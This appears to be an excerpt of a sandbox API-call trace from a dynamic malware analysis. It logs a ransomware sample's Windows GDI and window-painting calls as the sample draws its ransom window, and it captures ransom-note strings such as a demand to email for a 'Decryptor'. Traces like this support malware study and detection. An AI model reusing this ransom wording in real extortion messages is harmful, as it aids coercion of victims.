[0286.798] RestoreDC (hdc=0x1b010b4c, nSavedDC=-1) returned 1
[0286.798] GdipReleaseDC (graphics=0x1c5a8050, hdc=0x1b010b4c) returned 0x0
[0286.798] GdipCreateRegion (region=0x2eb0f0) returned 0x0
[0286.799] GdipGetClip (graphics=0x1c5a8050, region=0x1c5a8420) returned 0x0
[0286.799] GdipCreateMatrix (matrix=0x2eb0f0) returned 0x0
[0286.799] GdipGetWorldTransform (graphics=0x1c5a8050, matrix=0x1c5af550) returned 0x0
[0286.799] GdipIsMatrixIdentity (matrix=0x1c5af550, result=0x2eb158) returned 0x0
[0286.799] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1de51510
[0286.799] GdipGetMatrixElements (matrix=0x1c5af550, matrixOut=0x1de51510) returned 0x0
[0286.799] LocalFree (hMem=0x1de51510) returned 0x0
[0286.800] GdipDeleteMatrix (matrix=0x1c5af550) returned 0x0
[0286.800] GdipIsInfiniteRegion (region=0x1c5a8420, graphics=0x1c5a8050, result=0x2eb1c0) returned 0x0
[0286.800] GdipDeleteRegion (region=0x1c5a8420) returned 0x0
[0286.800] GdipGetDC (graphics=0x1c5a8050, hdc=0x2eb1c8) returned 0x0
[0286.800] GetCurrentObject (hdc=0x1b010b4c, type=0x1) returned 0x1b00017
[0286.800] GetCurrentObject (hdc=0x1b010b4c, type=0x2) returned 0x1900010
[0286.801] GetCurrentObject (hdc=0x1b010b4c, type=0x7) returned 0x6050b85
[0286.801] GetCurrentObject (hdc=0x1b010b4c, type=0x6) returned 0x18a002e
[0286.801] SaveDC (hdc=0x1b010b4c) returned 1
[0286.801] OffsetViewportOrgEx (in: hdc=0x1b010b4c, x=0, y=0, lppt=0x27fa5d8 | out: lppt=0x27fa5d8) returned 1
[0286.801] IsAppThemed () returned 0x1
[0286.801] GetThemeAppProperties () returned 0x3
[0286.801] GetThemeAppProperties () returned 0x3
[0286.801] DrawThemeBackground () returned 0x0
[0286.801] RestoreDC (hdc=0x1b010b4c, nSavedDC=-1) returned 1
[0286.802] GdipReleaseDC (graphics=0x1c5a8050, hdc=0x1b010b4c) returned 0x0
[0286.802] GdipDeleteGraphics (graphics=0x1c5a8050) returned 0x0
[0286.802] SelectPalette (hdc=0x1b010b4c, hPal=0x188000b, bForceBkgd=0) returned 0x3080b87
[0286.802] SetTextColor (hdc=0x1b010b4c, color=0xffff) returned 0x0
[0286.802] SetBkColor (hdc=0x1b010b4c, color=0x80) returned 0xffffff
[0286.802] SendMessageW (hWnd=0x102aa, Msg=0x204e, wParam=0x102aa, lParam=0x2ebaf0) returned 0x0
[0286.803] CallWindowProcW (lpPrevWndFunc=0x7fefc583b20, hWnd=0x102aa, Msg=0x204e, wParam=0x102aa, lParam=0x2ebaf0) returned 0x0
[0286.803] SendMessageW (hWnd=0x102aa, Msg=0x204e, wParam=0x102aa, lParam=0x2ebaf0) returned 0x0
[0286.803] CallWindowProcW (lpPrevWndFunc=0x7fefc583b20, hWnd=0x102aa, Msg=0x204e, wParam=0x102aa, lParam=0x2ebaf0) returned 0x0
[0286.803] CallWindowProcW (lpPrevWndFunc=0x7fefc583b20, hWnd=0x102aa, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x4
[0286.803] CallWindowProcW (lpPrevWndFunc=0x7fefc583b20, hWnd=0x102aa, Msg=0xd, wParam=0x5, lParam=0x27eb5fe0) returned 0x4
[0286.803] CallWindowProcW (lpPrevWndFunc=0x7fefc58975c, hWnd=0x102ac, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x1
[0286.803] CallWindowProcW (lpPrevWndFunc=0x7fefc58975c, hWnd=0x102ac, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x1
[0286.803] SetTextColor (hdc=0x1010a48, color=0xffffff) returned 0x0
[0286.804] SetBkColor (hdc=0x1010a48, color=0x80) returned 0xffffff
[0286.804] GetWindowTextLengthW (hWnd=0x102a8) returned 47
[0286.804] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x102a8, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x2f
[0286.804] GetSystemMetrics (nIndex=42) returned 0
[0286.804] GetWindowTextW (in: hWnd=0x102a8, lpString=0x2eac20, nMaxCount=48 | out: lpString="To get Decryptor you need write on our e-mail :") returned 47
[0286.804] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x102a8, Msg=0xd, wParam=0x30, lParam=0x2eac20) returned 0x2f
[0286.804] GetClientRect (in: hWnd=0x102a8, lpRect=0x2eae28 | out: lpRect=0x2eae28) returned 1
[0286.804] GetCurrentObject (hdc=0x1c010b4c, type=0x1) returned 0x1b00017
[0286.805] GetCurrentObject (hdc=0x1c010b4c, type=0x2) returned 0x1900010
[0286.805] GetCurrentObject (hdc=0x1c010b4c, type=0x7) returned 0x6050b85
[0286.805] GetCurrentObject (hdc=0x1c010b4c, type=0x6) returned 0x18a002e
[0286.805] SaveDC (hdc=0x1c010b4c) returned 1
[0286.805] GetNearestColor (hdc=0x1c010b4c, color=0x80) returned 0x80
[0286.806] CreateSolidBrush (color=0x80) returned 0x231007d3
[0286.806] FillRect (hDC=0x1c010b4c, lprc=0x2eab18, hbr=0x231007d3) returned 1
[0286.806] DeleteObject (ho=0x231007d3) returned 1
[0286.806] RestoreDC (hdc=0x1c010b4c, nSavedDC=-1) returned 1
[0286.807] GetWindowTextLengthW (hWnd=0x102a8) returned 47
[0286.807] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x102a8, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x2f
[0286.807] GetSystemMetrics (nIndex=42) returned 0
[0286.807] GetWindowTextW (in: hWnd=0x102a8, lpString=0x2eac20, nMaxCount=48 | out: lpString="To get Decryptor you need write on our e-mail :") returned 47
[0286.807] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x102a8, Msg=0xd, wParam=0x30, lParam=0x2eac20) returned 0x2f
[0286.807] IsAppThemed () returned 0x1
[0286.807] GetThemeAppProperties () returned 0x3
[0286.807] GetThemeAppProperties () returned 0x3
[0286.807] SelectPalette (hdc=0x1c010b4c, hPal=0x3080b87, bForceBkgd=1) returned 0x188000b
[0286.807] GdipCreateFromHDC (hdc=0x1c010b4c, graphics=0x2ead08) returned 0x0
[0286.808] GdipSetPageUnit (graphics=0x1c5a8050, unit=0x2) returned 0x0
[0286.808] GdipCreateMatrix (matrix=0x2eac00) returned 0x0
[0286.808] GdipGetWorldTransform (graphics=0x1c5a8050, matrix=0x1c5af510) returned 0x0
[0286.808] GdipIsMatrixIdentity (matrix=0x1c5af510, result=0x2eac68) returned 0x0
[0286.808] GdipDeleteMatrix (matrix=0x1c5af510) returned 0x0
[0286.809] GdipCreateRegion (region=0x2eac00) returned 0x0
[0286.809] GdipGetClip (graphics=0x1c5a8050, region=0x1c5a8420) returned 0x0
[0286.809] GdipIsInfiniteRegion (region=0x1c5a8420, graphics=0x1c5a8050, result=0x2eac60) returned 0x0
[0286.809] GdipDeleteRegion (region=0x1c5a8420) returned 0x0
[0286.809] GdipSaveGraphics (graphics=0x1c5a8050, state=0x2ead00) returned 0x0
[0286.810] IsAppThemed () returned 0x1
[0286.810] GetThemeAppProperties () returned 0x3
[0286.810] GetThemeAppProperties () returned 0x3
[0286.810] IsAppThemed () returned 0x1
[0286.810] GetThemeAppProperties () returned 0x3
[0286.810] GetThemeAppProperties () returned 0x3
[0286.810] IsThemePartDefined () returned 0x1
[0286.810] GdipGetTextRenderingHint (graphics=0x1c5a8050, mode=0x2eaaf8) returned 0x0
[0286.810] GdipCreateRegion (region=0x2ea970) returned 0x0
[0286.810] GdipGetClip (graphics=0x1c5a8050, region=0x1c5a8420) returned 0x0
[0286.810] GdipCreateMatrix (matrix=0x2ea970) returned 0x0
[0286.811] GdipGetWorldTransform (graphics=0x1c5a8050, matrix=0x1c5af550) returned 0x0
[0286.811] GdipIsMatrixIdentity (matrix=0x1c5af550, result=0x2ea9d8) returned 0x0
[0286.811] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1de51510
[0286.811] GdipGetMatrixElements (matrix=0x1c5af550, matrixOut=0x1de51510) returned 0x0
[0286.811] LocalFree (hMem=0x1de51510) returned 0x0
[0286.812] GdipDeleteMatrix (matrix=0x1c5af550) returned 0x0
[0286.812] GdipIsInfiniteRegion (region=0x1c5a8420, graphics=0x1c5a8050, result=0x2eaa40) returned 0x0
[0286.812] GdipDeleteRegion (region=0x1c5a8420) returned 0x0
[0286.812] GdipGetDC (graphics=0x1c5a8050, hdc=0x2eaa48) returned 0x0
[0286.812] GetCurrentObject (hdc=0x1c010b4c, type=0x1) returned 0x1b00017
[0286.813] GetCurrentObject (hdc=0x1c010b4c, type=0x2) returned 0x1900010
[0286.813] GetCurrentObject (hdc=0x1c010b4c, type=0x7) returned 0x6050b85
[0286.813] GetCurrentObject (hdc=0x1c010b4c, type=0x6) returned 0x18a002e
[0286.813] SaveDC (hdc=0x1c010b4c) returned 1
[0286.813] OffsetViewportOrgEx (in: hdc=0x1c010b4c, x=0, y=0, lppt=0x27fb488 | out: lppt=0x27fb488) returned 1
[0286.814] GetCurrentObject (hdc=0x1c010b4c, type=0x6) returned 0x18a002e
[0286.814] GetObjectW (in: h=0x18a002e, c=92, pv=0x2ea840 | out: pv=0x2ea840) returned 92
[0286.815] SelectObject (hdc=0x1c010b4c, h=0x50a0b98) returned 0x18a002e
[0286.815] DrawTextExW (in: hdc=0x1c010b4c, lpchText="To get Decryptor you need write on our e-mail :", cchText=47, lprc=0x2eaaf8, format=0x2410, lpdtp=0x27fb4a0 | out: lpchText="To get Decryptor you need write on our e-mail :", lprc=0x2eaaf8) returned 14
[0286.815] RestoreDC (hdc=0x1c010b4c, nSavedDC=-1) returned 1
[0286.815] GdipReleaseDC (graphics=0x1c5a8050, hdc=0x1c010b4c) returned 0x0
[0286.816] GdipGetTextRenderingHint (graphics=0x1c5a8050, mode=0x2eaac8) returned 0x0
[0286.816] GdipCreateRegion (region=0x2ea940) returned 0x0
[0286.816] GdipGetClip (graphics=0x1c5a8050, region=0x1c5a8420) returned 0x0
[0286.816] GdipCreateMatrix (matrix=0x2ea940) returned 0x0
[0286.816] GdipGetWorldTransform (graphics=0x1c5a8050, matrix=0x1c5af510) returned 0x0
[0286.817] GdipIsMatrixIdentity (matrix=0x1c5af510, result=0x2ea9a8) returned 0x0
[0286.817] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1de51510
[0286.817] GdipGetMatrixElements (matrix=0x1c5af510, matrixOut=0x1de51510) returned 0x0
[0286.817] LocalFree (hMem=0x1de51510) returned 0x0
[0286.817] GdipDeleteMatrix (matrix=0x1c5af510) returned 0x0
[0286.817] GdipIsInfiniteRegion (region=0x1c5a8420, graphics=0x1c5a8050, result=0x2eaa10) returned 0x0
[0286.818] GdipDeleteRegion (region=0x1c5a8420) returned 0x0
[0286.818] GdipGetDC (graphics=0x1c5a8050, hdc=0x2eaa18) returned 0x0
[0286.818] GetCurrentObject (hdc=0x1c010b4c, type=0x1) returned 0x1b00017
[0286.818] GetCurrentObject (hdc=0x1c010b4c, type=0x2) returned 0x1900010
[0286.818] GetCurrentObject (hdc=0x1c010b4c, type=0x7) returned 0x6050b85
[0286.818] GetCurrentObject (hdc=0x1c010b4c, type=0x6) returned 0x18a002e
[0286.819] SaveDC (hdc=0x1c010b4c) returned 1
[0286.819] OffsetViewportOrgEx (in: hdc=0x1c010b4c, x=0, y=0, lppt=0x27fb8a0 | out: lppt=0x27fb8a0) returned 1
[0286.819] GetTextAlign (hdc=0x1c010b4c) returned 0x0
[0286.819] GetTextColor (hdc=0x1c010b4c) returned 0x0
[0286.819] SetTextColor (hdc=0x1c010b4c, color=0xffff) returned 0x0
[0286.819] GetCurrentObject (hdc=0x1c010b4c, type=0x6) returned 0x18a002e
[0286.819] GetObjectW (in: h=0x18a002e, c=92, pv=0x2ea5e0 | out: pv=0x2ea5e0) returned 92
[0286.820] SelectObject (hdc=0x1c010b4c, h=0x50a0b98) returned 0x18a002e
[0286.820] GetBkMode (hdc=0x1c010b4c) returned 2
[0286.820] SetBkMode (hdc=0x1c010b4c, mode=1) returned 2
[0286.820] DrawTextExW (in: hdc=0x1c010b4c, lpchText="To get Decryptor you need write on our e-mail :", cchText=47, lprc=0x2eaa38, format=0x2010, lpdtp=0x27fbaa0 | out: lpchText="To get Decryptor you need write on our e-mail :", lprc=0x2eaa38) returned 14
[0286.821] RestoreDC (hdc=0x1c010b4c, nSavedDC=-1) returned 1
[0286.821] GdipReleaseDC (graphics=0x1c5a8050, hdc=0x1c010b4c) returned 0x0
[0286.821] GetDC (hWnd=0x0) returned 0x2010a5c
[0286.821] GdipCreateFromHDC (hdc=0x2010a5c, graphics=0x2eaae8) returned 0x0
[0286.822] GdipGetFontHeight (font=0x1c5af110, graphics=0x1cb7dad0, height=0x2eaae4) returned 0x0
[0286.822] GdipDeleteGraphics (graphics=0x1cb7dad0) returned 0x0
[0286.822] ReleaseDC (hWnd=0x0, hDC=0x2010a5c) returned 1
[0286.822] GetDC (hWnd=0x0) returned 0x2010a5c
[0286.822] GdipCreateFromHDC (hdc=0x2010a5c, graphics=0x2eaae8) returned 0x0
[0286.822] GdipGetFontHeight (font=0x1c5af110, graphics=0x1cb7dad0, height=0x2eaae4) returned 0x0
[0286.822] GdipDeleteGraphics (graphics=0x1cb7dad0) returned 0x0
[0286.823] ReleaseDC (hWnd=0x0, hDC=0x2010a5c) returned 1
[0286.823] GdipCreateRegion (region=0x2ea930) returned 0x0
[0286.823] GdipGetClip (graphics=0x1c5a8050, region=0x1c5a8420) returned 0x0
[0286.823] GdipCreateMatrix (matrix=0x2ea930) returned 0x0
[0286.823] GdipGetWorldTransform (graphics=0x1c5a8050, matrix=0x1c5af550) returned 0x0
[0286.823] GdipIsMatrixIdentity (matrix=0x1c5af550, result=0x2ea998) returned 0x0
[0286.824] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1de51510
[0286.824] GdipGetMatrixElements (matrix=0x1c5af550, matrixOut=0x1de51510) returned 0x0
[0286.824] LocalFree (hMem=0x1de51510) returned 0x0
[0286.824] GdipDeleteMatrix (matrix=0x1c5af550) returned 0x0
[0286.824] GdipIsInfiniteRegion (region=0x1c5a8420, graphics=0x1c5a8050, result=0x2eaa00) returned 0x0
[0286.824] GdipDeleteRegion (region=0x1c5a8420) returned 0x0
[0286.825] GdipGetDC (graphics=0x1c5a8050, hdc=0x2eaa08) returned 0x0
[0286.825] GetCurrentObject (hdc=0x1c010b4c, type=0x1) returned 0x1b00017
[0286.825] GetCurrentObject (hdc=0x1c010b4c, type=0x2) returned 0x1900010
[0286.825] GetCurrentObject (hdc=0x1c010b4c, type=0x7) returned 0x6050b85
[0286.825] GetCurrentObject (hdc=0x1c010b4c, type=0x6) returned 0x18a002e
[0286.825] SaveDC (hdc=0x1c010b4c) returned 1
[0286.826] OffsetViewportOrgEx (in: hdc=0x1c010b4c, x=0, y=0, lppt=0x27fbe88 | out: lppt=0x27fbe88) returned 1
[0286.826] IsAppThemed () returned 0x1
[0286.826] GetThemeAppProperties () returned 0x3
[0286.826] GetThemeAppProperties () returned 0x3
[0286.826] DrawThemeBackground () returned 0x0
[0286.826] RestoreDC (hdc=0x1c010b4c, nSavedDC=-1) returned 1
[0286.826] GdipReleaseDC (graphics=0x1c5a8050, hdc=0x1c010b4c) returned 0x0
[0286.826] GdipCreateRegion (region=0x2ea930) returned 0x0
[0286.826] GdipGetClip (graphics=0x1c5a8050, region=0x1c5a8420) returned 0x0
[0286.826] GdipCreateMatrix (matrix=0x2ea930) returned 0x0
[0286.827] GdipGetWorldTransform (graphics=0x1c5a8050, matrix=0x1c5af510) returned 0x0
[0286.827] GdipIsMatrixIdentity (matrix=0x1c5af510, result=0x2ea998) returned 0x0
[0286.827] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1de51510
[0286.827] GdipGetMatrixElements (matrix=0x1c5af510, matrixOut=0x1de51510) returned 0x0
[0286.827] LocalFree (hMem=0x1de51510) returned 0x0
[0286.827] GdipDeleteMatrix (matrix=0x1c5af510) returned 0x0
[0286.827] GdipIsInfiniteRegion (region=0x1c5a8420, graphics=0x1c5a8050, result=0x2eaa00) returned 0x0
[0286.828] GdipDeleteRegion (region=0x1c5a8420) returned 0x0
[0286.828] GdipGetDC (graphics=0x1c5a8050, hdc=0x2eaa08) returned 0x0
[0286.828] GetCurrentObject (hdc=0x1c010b4c, type=0x1) returned 0x1b00017
[0286.828] GetCurrentObject (hdc=0x1c010b4c, type=0x2) returned 0x1900010
[0286.828] GetCurrentObject (hdc=0x1c010b4c, type=0x7) returned 0x6050b85
[0286.828] GetCurrentObject (hdc=0x1c010b4c, type=0x6) returned 0x18a002e
[0286.829] SaveDC (hdc=0x1c010b4c) returned 1
[0286.829] OffsetViewportOrgEx (in: hdc=0x1c010b4c, x=0, y=0, lppt=0x27fc2e0 | out: lppt=0x27fc2e0) returned 1
[0286.829] IsAppThemed () returned 0x1
[0286.829] GetThemeAppProperties () returned 0x3
[0286.829] GetThemeAppProperties () returned 0x3
[0286.829] DrawThemeBackground () returned 0x0
[0286.829] RestoreDC (hdc=0x1c010b4c, nSavedDC=-1) returned 1
[0286.829] GdipReleaseDC (graphics=0x1c5a8050, hdc=0x1c010b4c) returned 0x0
[0286.830] GdipCreateRegion (region=0x2ea930) returned 0x0
[0286.830] GdipGetClip (graphics=0x1c5a8050, region=0x1c5a8420) returned 0x0
[0286.830] GdipCreateMatrix (matrix=0x2ea930) returned 0x0
[0286.830] GdipGetWorldTransform (graphics=0x1c5a8050, matrix=0x1c5af550) returned 0x0
[0286.831] GdipIsMatrixIdentity (matrix=0x1c5af550, result=0x2ea998) returned 0x0
[0286.831] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1de51510
[0286.832] GdipGetMatrixElements (matrix=0x1c5af550, matrixOut=0x1de51510) returned 0x0
[0286.832] LocalFree (hMem=0x1de51510) returned 0x0
[0286.832] GdipDeleteMatrix (matrix=0x1c5af550) returned 0x0
[0286.832] GdipIsInfiniteRegion (region=0x1c5a8420, graphics=0x1c5a8050, result=0x2eaa00) returned 0x0
[0286.832] GdipDeleteRegion (region=0x1c5a8420) returned 0x0
[0286.832] GdipGetDC (graphics=0x1c5a8050, hdc=0x2eaa08) returned 0x0
[0286.833] GetCurrentObject (hdc=0x1c010b4c, type=0x1) returned 0x1b00017
[0286.833] GetCurrentObject (hdc=0x1c010b4c, type=0x2) returned 0x1900010
[0286.833] GetCurrentObject (hdc=0x1c010b4c, type=0x7) returned 0x6050b85
[0286.833] GetCurrentObject (hdc=0x1c010b4c, type=0x6) returned 0x18a002e
[0286.833] SaveDC (hdc=0x1c010b4c) returned 1
[0286.833] OffsetViewportOrgEx (in: hdc=0x1c010b4c, x=0, y=0, lppt=0x27fc738 | out: lppt=0x27fc738) returned 1
[0286.833] IsAppThemed () returned 0x1
[0286.833] GetThemeAppProperties () returned 0x3
[0286.833] GetThemeAppProperties () returned 0x3
[0286.834] DrawThemeBackground () returned 0x0
[0286.834] RestoreDC (hdc=0x1c010b4c, nSavedDC=-1) returned 1
[0286.834] GdipReleaseDC (graphics=0x1c5a8050, hdc=0x1c010b4c) returned 0x0
[0286.834] GdipDeleteGraphics (graphics=0x1c5a8050) returned 0x0
[0286.834] SelectPalette (hdc=0x1c010b4c, hPal=0x188000b, bForceBkgd=0) returned 0x3080b87
[0286.835] CallWindowProcW (lpPrevWndFunc=0x7fefc58975c, hWnd=0x102ac, Msg=0x14, wParam=0x1010a48, lParam=0x0) returned 0x1
[0286.835] SetTextColor (hdc=0x1d010b4c, color=0xffffff) returned 0x0
[0286.835] SetBkColor (hdc=0x1d010b4c, color=0x80) returned 0xffffff
[0286.836] BeginPaint (in: hWnd=0x102be, lpPaint=0x2ebfc8 | out: lpPaint=0x2ebfc8) returned 0x2010b40
[0286.836] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x102be, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0
[0286.836] SelectPalette (hdc=0x2010b40, hPal=0x3080b87, bForceBkgd=1) returned 0x188000b
[0286.837] CreateCompatibleDC (hdc=0x2010b40) returned 0xffffffffa80107be
[0286.837] DeleteObject (ho=0xb0507c1) returned 1
[0286.837] GetObjectType (h=0x2010b40) returned 0x3
[0286.837] CreateCompatibleBitmap (hdc=0x2010b40, cx=1, cy=1) returned 0x160507bf
[0286.838] GetDIBits (in: hdc=0x2010b40, hbm=0x160507bf, start=0x0, cLines=0x0, lpvBits=0x0, lpbmi=0x2eb958, usage=0x0 | out: lpvBits=0x0, lpbmi=0x2eb958) returned 1
[0286.838] GetDIBits (in: hdc=0x2010b40, hbm=0x160507bf, start=0x0, cLines=0x1, lpvBits=0x0, lpbmi=0x2eb958, usage=0x0 | out: lpvBits=0x0, lpbmi=0x2eb958) returned 1
[0286.839] DeleteObject (ho=0x160507bf) returned 1
[0286.839] CreateDIBSection (in: hdc=0x2010b40, lpbmi=0x2eba08, usage=0x0, ppvBits=0x2ebfc8, hSection=0x0, offset=0x0 | out: ppvBits=0x2ebfc8) returned 0xc0507c1
[0286.839] SelectObject (hdc=0xffffffffa80107be, h=0xc0507c1) returned 0x185000f
[0286.839] GdipCreateFromHDC (hdc=0xffffffffa80107be, graphics=0x2ebf48) returned 0x0
[0286.839] GdipTranslateWorldTransform (graphics=0x1c5a8050, dx=0x7fef04ddf12, dy=0x4af70916f6e6, order=0x0) returned 0x0
[0286.840] GdipSetClipRectI (graphics=0x1c5a8050, x=0, y=0, width=419, height=25, combineMode=0x0) returned 0x0
[0286.840] GdipCreateMatrix (matrix=0x2ebf70) returned 0x0
[0286.840] GdipGetWorldTransform (graphics=0x1c5a8050, matrix=0x1c5af510) returned 0x0
[0286.840] GdipIsMatrixIdentity (matrix=0x1c5af510, result=0x2ebfd8) returned 0x0
[0286.840] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1de51510
[0286.840] GdipGetMatrixElements (matrix=0x1c5af510, matrixOut=0x1de51510) returned 0x0
[0286.840] LocalFree (hMem=0x1de51510) returned 0x0
[0286.841] GdipDeleteMatrix (matrix=0x1c5af510) returned 0x0
[0286.841] GdipCreateRegion (region=0x2ebf70) returned 0x0
[0286.841] GdipGetClip (graphics=0x1c5a8050, region=0x1c5a8420) returned 0x0
[0286.841] GdipIsInfiniteRegion (region=0x1c5a8420, graphics=0x1c5a8050, result=0x2ebfd0) returned 0x0
[0286.841] GdipSaveGraphics (graphics=0x1c5a8050, state=0x2ec070) returned 0x0
[0286.842] GetWindowTextLengthW (hWnd=0x102be) returned 40
[0286.842] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x102be, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x28
[0286.842] GetSystemMetrics (nIndex=42) returned 0
[0286.842] GetWindowTextW (in: hWnd=0x102be, lpString=0x2ebe20, nMaxCount=41 | out: lpString="Oops ,Your Network have been penetrated!") returned 40
[0286.842] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x102be, Msg=0xd, wParam=0x29, lParam=0x2ebe20) returned 0x28
[0286.842] GetClientRect (in: hWnd=0x102be, lpRect=0x2ec018 | out: lpRect=0x2ec018) returned 1
[0286.842] GdipCreateRegion (region=0x2ebc00) returned 0x0
[0286.842] GdipGetClip (graphics=0x1c5a8050, region=0x1c5a84e0) returned 0x0
[0286.842] GdipCreateMatrix (matrix=0x2ebc00) returned 0x0
[0286.843] GdipGetWorldTransform (graphics=0x1c5a8050, matrix=0x1c5af550) returned 0x0
[0286.843] GdipIsMatrixIdentity (matrix=0x1c5af550, result=0x2ebc68) returned 0x0
[0286.843] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1de51510
[0286.843] GdipGetMatrixElements (matrix=0x1c5af550, matrixOut=0x1de51510) returned 0x0
[0286.843] LocalFree (hMem=0x1de51510) returned 0x0
[0286.843] GdipCombineRegionRegion (region=0x1c5a84e0, region2=0x1c5a8420, combineMode=0x1) returned 0x0
[0286.844] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1de51510
[0286.844] GdipGetMatrixElements (matrix=0x1c5af550, matrixOut=0x1de51510) returned 0x0
[0286.844] LocalFree (hMem=0x1de51510) returned 0x0
[0286.844] GdipDeleteMatrix (matrix=0x1c5af550) returned 0x0
[0286.844] GdipIsInfiniteRegion (region=0x1c5a84e0, graphics=0x1c5a8050, result=0x2ebcd0) returned 0x0
[0286.844] GdipIsInfiniteRegion (region=0x1c5a84e0, graphics=0x1c5a8050, result=0x2ebc90) returned 0x0
[0286.844] GdipGetRegionHRgn (region=0x1c5a84e0, graphics=0x1c5a8050, hRgn=0x2ebc90) returned 0x0
[0286.845] GdipDeleteRegion (region=0x1c5a84e0) returned 0x0
[0286.845] GdipGetDC (graphics=0x1c5a8050, hdc=0x2ebcd8) returned 0x0
[0286.845] GetCurrentObject (hdc=0xffffffffa80107be, type=0x1) returned 0x1b00017
[0286.845] GetCurrentObject (hdc=0xffffffffa80107be, type=0x2) returned 0x1900010
[0286.845] GetCurrentObject (hdc=0xffffffffa80107be, type=0x7) returned 0xc0507c1
[0286.846] GetCurrentObject (hdc=0xffffffffa80107be, type=0x6) returned 0x18a002e
[0286.846] SaveDC (hdc=0xffffffffa80107be) returned 1
[0286.846] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x68040b86
[0286.846] GetClipRgn (hdc=0xffffffffa80107be, hrgn=0x68040b86) returned 0
[0286.846] SelectClipRgn (hdc=0xffffffffa80107be, hrgn=0x4d040b99) returned 2
[0286.847] DeleteObject (ho=0x68040b86) returned 1
[0286.847] DeleteObject (ho=0x4d040b99) returned 1
[0286.847] OffsetViewportOrgEx (in: hdc=0xffffffffa80107be, x=0, y=0, lppt=0x27fe098 | out: lppt=0x27fe098) returned 1
[0286.847] GetNearestColor (hdc=0xffffffffa80107be, color=0x80) returned 0x80
[0286.847] CreateSolidBrush (color=0x80) returned 0x241007d3
[0286.847] FillRect (hDC=0xffffffffa80107be, lprc=0x2ebd08, hbr=0x241007d3) returned 1
[0286.848] DeleteObject (ho=0x241007d3) returned 1
[0286.848] RestoreDC (hdc=0xffffffffa80107be, nSavedDC=-1) returned 1
[0286.849] GdipReleaseDC (graphics=0x1c5a8050, hdc=0xffffffffa80107be) returned 0x0
[0286.849] GdipRestoreGraphics (graphics=0x1c5a8050, state=0xfffffffffce20dbd) returned 0x0
[0286.849] GdipDeleteRegion (region=0x1c5a8420) returned 0x0
[0286.849] GetWindowTextLengthW (hWnd=0x102be) returned 40
[0286.849] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x102be, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x28
[0286.849] GetSystemMetrics (nIndex=42) returned 0
[0286.849] GetWindowTextW (in: hWnd=0x102be, lpString=0x2ebe20, nMaxCount=41 | out: lpString="Oops ,Your Network have been penetrated!") returned 40
[0286.849] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x102be, Msg=0xd, wParam=0x29, lParam=0x2ebe20) returned 0x28
[0286.850] GdipGetDC (graphics=0x1c5a8050, hdc=0x2ebe68) returned 0x0
[0286.850] GetCurrentObject (hdc=0xffffffffa80107be, type=0x1) returned 0x1b00017
[0286.850] GetCurrentObject (hdc=0xffffffffa80107be, type=0x2) returned 0x1900010
[0286.850] GetCurrentObject (hdc=0xffffffffa80107be, type=0x7) returned 0xc0507c1
[0286.850] GetCurrentObject (hdc=0xffffffffa80107be, type=0x6) returned 0x18a002e
[0286.851] SaveDC (hdc=0xffffffffa80107be) returned 1
[0286.851] GetNearestColor (hdc=0xffffffffa80107be, color=0xffffff) returned 0xffffff
[0286.851] RestoreDC (hdc=0xffffffffa80107be, nSavedDC=-1) returned 1
[0286.851] GdipReleaseDC (graphics=0x1c5a8050, hdc=0xffffffffa80107be) returned 0x0
[0286.852] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fefc4e0000
[0286.853] AdjustWindowRectEx (in: lpRect=0x2ebd18, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2ebd18) returned 1
[0286.853] GdipGetTextRenderingHint (graphics=0x1c5a8050, mode=0x2ebd78) returned 0x0
[0286.853] GdipGetDC (graphics=0x1c5a8050, hdc=0x2ebd58) returned 0x0
[0286.853] GetCurrentObject (hdc=0xffffffffa80107be, type=0x1) returned 0x1b00017
[0286.853] GetCurrentObject (hdc=0xffffffffa80107be, type=0x2) returned 0x1900010
[0286.854] GetCurrentObject (hdc=0xffffffffa80107be, type=0x7) returned 0xc0507c1
[0286.854] GetCurrentObject (hdc=0xffffffffa80107be, type=0x6) returned 0x18a002e
[0286.854] SaveDC (hdc=0xffffffffa80107be) returned 1
[0286.854] GetTextAlign (hdc=0xffffffffa80107be) returned 0x0
[0286.854] GetTextColor (hdc=0xffffffffa80107be) returned 0x0
[0286.854] SetTextColor (hdc=0xffffffffa80107be, color=0xffffff) returned 0x0
[0286.855] GetCurrentObject (hdc=0xffffffffa80107be, type=0x6) returned 0x18a002e
[0286.855] GetObjectW (in: h=0x18a002e, c=92, pv=0x2eb890 | out: pv=0x2eb890) returned 92
[0286.855] SelectObject (hdc=0xffffffffa80107be, h=0x2e0a09ef) returned 0x18a002e
[0286.855] GetBkMode (hdc=0xffffffffa80107be) returned 2
[0286.856] SetBkMode (hdc=0xffffffffa80107be, mode=1) returned 2
